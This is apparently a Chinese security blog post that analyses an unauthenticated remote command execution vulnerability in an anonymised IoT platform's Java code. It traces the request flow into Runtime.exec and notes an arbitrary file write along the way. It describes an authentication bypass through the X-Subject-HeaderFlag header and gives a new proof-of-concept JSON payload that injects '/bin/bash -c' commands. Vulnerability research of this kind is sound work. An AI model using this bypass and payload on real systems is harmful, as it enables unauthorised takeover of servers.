【注意】最后更新于 July 7, 2025,文中内容可能已过时,请谨慎使用。
前言
某智能物联平台被披露有一个未授权的命令执行漏洞,问朋友拿到了源码,简单分析一下。

漏洞分析
拿到的是jar包,先用idea创建一个空项目,然后将jar包和lib文件都以库的形式导入。

等待idea索引完成,按两下shift就可以进行全局搜索了,这里的全局搜索并不能直接搜字符串,只是方便搜路由。
直接搜路径push定位到controller。

com/xxxx/xxx/runs/controller/agent/MsgDealConrtoller.class
1
2
3
4
  | @PostMapping({"/push"})
    public ResultMessage push(@RequestBody AgentMsgParam agentMsgParam, HttpServletRequest request) throws Exception {
        return this.msgDealService.msgDeal(agentMsgParam);
    }
  | 
跟入msgDealService.msgDeal方法,Mac按住command+鼠标点击进入方法。

再点一下实现跟到实现的类,可以看到先是判断agentMsgParm不为空,随后判断method是否为空。不为空,消息处理执行工厂根据method获取一个消息处理器。随后调用获取到的消息处理器对象的msgDeal方法对传入的agentMsgParam参数进行处理。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
  | public class MsgDealServiceImpl implements MsgDealService {
    @Autowired
    private MsgHandlerExecuteFactory msgHandlerExecuteFactory;
    public ResultMessage msgDeal(AgentMsgParam agentMsgParam) throws Exception {
        if (agentMsgParam != null) {
            String method = agentMsgParam.getMethod();
            if (StringUtils.isNotEmpty(method)) {
                MsgHandler msgHandler = this.msgHandlerExecuteFactory.getMsgHandler(method);
                if (msgHandler != null) {
                    return msgHandler.msgDeal(agentMsgParam);
                }
            }
        }
        throw new BusinessException(ResultCodeEnum.INTERFACE_NOT_FOUND);
    }
...
  | 
再看看agetnMsgParm的结构
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
  | public class AgentMsgParam {
    private String method;
    private JSONObject info;
    private String requestIp;
    public String getMethod() {
        return this.method;
    }
    public void setMethod(String method) {
        this.method = method;
    }
    public JSONObject getInfo() {
        return this.info;
    }
    public void setInfo(JSONObject info) {
        this.info = info;
    }
    public String getRequestIp() {
        return this.requestIp;
    }
    public void setRequestIp(String requestIp) {
        this.requestIp = requestIp;
    }
    public String toString() {
        return "AgentMsgParam{method='" + this.method + '\'' + ", info=" + this.info + ", requestIp='" + this.requestIp + '\'' + '}';
    }
}
  | 
其中Info为jsonObject,也就是这一块是我们可控的参数。
根据method的值 agent.ossm.mapping.config 定位类,直接搜没有结果,搜agent.ossm.mapping弹出一个结果。

跟进 OssmConfigHandler.class
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
  | public class OssmConfigHandler extends AbstractMsgHandler {
    public String getMethod() {
        return "agent.ossm.mapping.config";
    }
    public ResultMessage msgDeal(AgentMsgParam agentMsgParam) throws BusinessException {
        JSONObject jsonObject = agentMsgParam.getInfo();
        if (jsonObject == null) {
            throw new BusinessException(ResultCodeEnum.AGENT_PARAM_INCORRECT);
        } else {
            CommonAgentParam commonAgentParam = (CommonAgentParam)JSON.toJavaObject(jsonObject, CommonAgentParam.class);
            boolean ifSaved = this.writeMappingFile(commonAgentParam.getFilePath(), commonAgentParam.getConfigure());
            this.logger.info("ossmconfighandler write {} to {}", commonAgentParam.getConfigure(), commonAgentParam.getFilePath());
            if (ifSaved) {
                String shellPath = (String)commonAgentParam.getParamMap().get("shellPath");
                String filePath = (String)commonAgentParam.getParamMap().get("filePath");
                Executor.execute(shellPath, new String[]{"5", "EXT_NET", filePath});
                return new ResultMessage(Collections.emptyMap());
            } else {
                throw new BusinessException(ResultCodeEnum.PARAM_INVALID);
            }
        }
    }
...
  | 
可以看到getMethod的值就是漏洞利用的值。
分析msgDeal方法,先是通过getInfo获取jsonObject,随后转成CommonAgentParam对象。
CommonAgentParam对象的定义如下:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
  | public class CommonAgentParam extends AgentInfo implements Serializable {
    private static final long serialVersionUID = -3364963858565947168L;
    private String param;
    private Map<String, Object> paramMap;
    private Object paramObject;
    private String moduleCode;
    private Boolean flag;
    private String filePath;
    private String configure;
...
  | 
随后调用writeMappingFile将configure的值写入到路径为filePath的文件中。
判断返回值ifSaved是否为真,如果是则将从CommonAgentParam的paramMap中获取的shellpath,filepath传递到Executor.execute方法中。
很显然这个Executor.execute的底层实现应该就是执行命令。
一步步跟入,发现将传入的command与传入的参数进行格式化为cmd后,最后传入到runtime.exec执行。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
  | public static int execute(String command, Writer writer, Writer errorWriter, boolean block, boolean log, String... args) {
        String cmd = formatCommand(command, args);
        if (log) {
            logger.info("Executor Command : " + cmd);
        }
        try {
            Process process = Runtime.getRuntime().exec(cmd);
            StreamGobbler outputGobbler = new StreamGobbler(process.getInputStream(), writer, "output");
            StreamGobbler errorGobbler = new StreamGobbler(process.getErrorStream(), errorWriter, "error");
            outputGobbler.start();
            errorGobbler.start();
...
  | 
formatCommand方法代码如下,只是对命令进行格式化,并没有进行过滤。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
  | public static String formatCommand(String command, String... args) {
        command = getString(command);
        StringBuilder result = new StringBuilder();
        if (LocalCacheUtils.get("common:non:root:start") != null && LocalCacheUtils.get("common:non:root:user:name") != null) {
            result.append("sudo ");
        }
        if (command.contains("." + BatchExecutorFactory.getExecutor().getCommandKeyword())) {
            result.append(BatchExecutorFactory.getExecutor().getCommandKeyword()).append(" ");
        }
        result.append(MessageFormat.format(command, args));
        return result.toString();
    }
  | 
至此,一个执行命令的链路就打通了。
让我们回过头来,我们知道ifSaved的值是决定了能否执行命令的关键,看到writeMappingFile方法
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
  | private Boolean writeMappingFile(String path, String value) {
        File file = new File(path);
        FileOutputStream out = null;
        try {
            if (file.exists()) {
                file.delete();
            }
            if (!file.exists()) {
                file.createNewFile();
            }
            out = new FileOutputStream(file, false);
            new StringBuffer();
            out.write(value.getBytes("utf-8"));
            out.flush();
        } catch (IOException e) {
            this.logger.error(e.getMessage(), e);
        } finally {
            if (out != null) {
                try {
                    out.close();
                } catch (IOException e) {
                    this.logger.error(e.getMessage(), e);
                }
            }
        }
        return file.exists();
    }
  | 
非常直给的文件写入,返回值在于这个文件是否存在。
也就是这里不但有命令执行还有任意文件写入,而且命令执行依赖于文件写入,会先写入一个文件,确保文件写入落地存在了才会执行命令。
理解了漏洞核心原理后,我们回过头可以看到POC请求有一个X-Subject-Headerflag的请求头,但目前执行命令并没有用到这个请求头,那可能是起着绕过认证授权的作用。
全局搜一下这个请求头:

跟进 com/xxxx/xxxx/runs/filter/AuthFilter,代码非常贴心的告诉了你什么情况不鉴权。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
  | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
                         FilterChain filterChain) throws IOException, ServletException {
        if (!authEnable) {
            filterChain.doFilter(servletRequest, servletResponse);
            return;
        }
        HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
        HttpServletResponse httpServletResponse = (HttpServletResponse) servletResponse;
        String[] requestURIParams = httpServletRequest.getServletPath().split("/");
        String[] matchedRequestURIParams = Arrays.copyOfRange(requestURIParams, 1, requestURIParams.length);
        String matchedRequestURI = "/" + StringUtils.join(Arrays.asList(matchedRequestURIParams), "/");
        ServletRequest request = new BodyReaderHttpServletRequestWrapper(httpServletRequest, FILE_METHOD_SET.contains(matchedRequestURI));
        String content = SignUtil.getBodyString(request);
        if (StringUtils.isNotEmpty(content)) {
            content = getParamsExcludeFile(matchedRequestURI, content);
            Map<String, String> paramsMap = SignUtil.parseJsonToMap(content);
            // 如果方法在set中,则不进行鉴权
            if (releaseMethodSet.contains(paramsMap.get("method"))) {
                filterChain.doFilter(request, servletResponse);
                return;
            }
            //如果是adapt过来的请求,则不鉴权
            String flag = httpServletRequest.getHeader("X-Subject-HeaderFlag");
            if (StrUtil.isNotBlank(flag) && "ADAPT".equals(flag)) {
                String signFlag = httpServletRequest.getHeader("X-Subject-Sign");
                if(StrUtil.isBlank(signFlag)){
                    filterChain.doFilter(request, servletResponse);
                    return;
                }
            }
            flag = httpServletRequest.getHeader("X-Subject-HeaderFlag");
            if (StrUtil.isNotBlank(flag) && "CLOUD".equals(flag)) {
                filterChain.doFilter(request, servletResponse);
                return;
            }
...
  | 
至此,我们理清了该漏洞的所有细节原理。
漏洞拓展
现在我们知道了整个漏洞原理,我们可以从source和sink的两个角度出发,拓展一下在该路径被封禁后是否还有其它的方法绕过。
source方向
直接搜msgDealService.msgDeal,都集中在msgDeal这个控制器下。

如/push、/receive两个已知端点

还有/push/file 和 /receive/file 端点,但这两个端点的代码还有下载和上传文件,逻辑更加复杂,不一定能够执行成功。

而/receive/response/file端点就更为简单,只是没有返回。

sink方向
通过Method来获取消息处理器的逻辑给予了极大的灵活性,只要我们找到其它的处理器有问题,那么就可以拓展出新的漏洞利用点。
消息处理器的实现有196个之多,肯定会有其它处理器存在问题。

通过Jar Analyzer 我们将lib下的jar包加载进去分析,并指定 com.xxxx.xxx.configtool.common.executor.Executor:execute,寻找使用了这个方法的地方。

再筛选只看那些Handler的实现类。
翻了一下,找到一个:

scriptPath可控直接传入execute。
POC:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
  | {
      "method": "agent.ip.changed",
      "info": {
        "scriptName": "",
        "deployPath": "/bin/bash -c '{command}'",
        "ip":"1",
        "moduleCode": "0"
       },
        "requestIp": ""
}
  | 
总结
此漏洞的核心问题是为代码灵活而做的动态调用设计,但在业务实现上缺乏基本的过滤,配合为了业务方便的认证鉴权。
最终造成了一个无需身份认证的远程命令执行严重漏洞。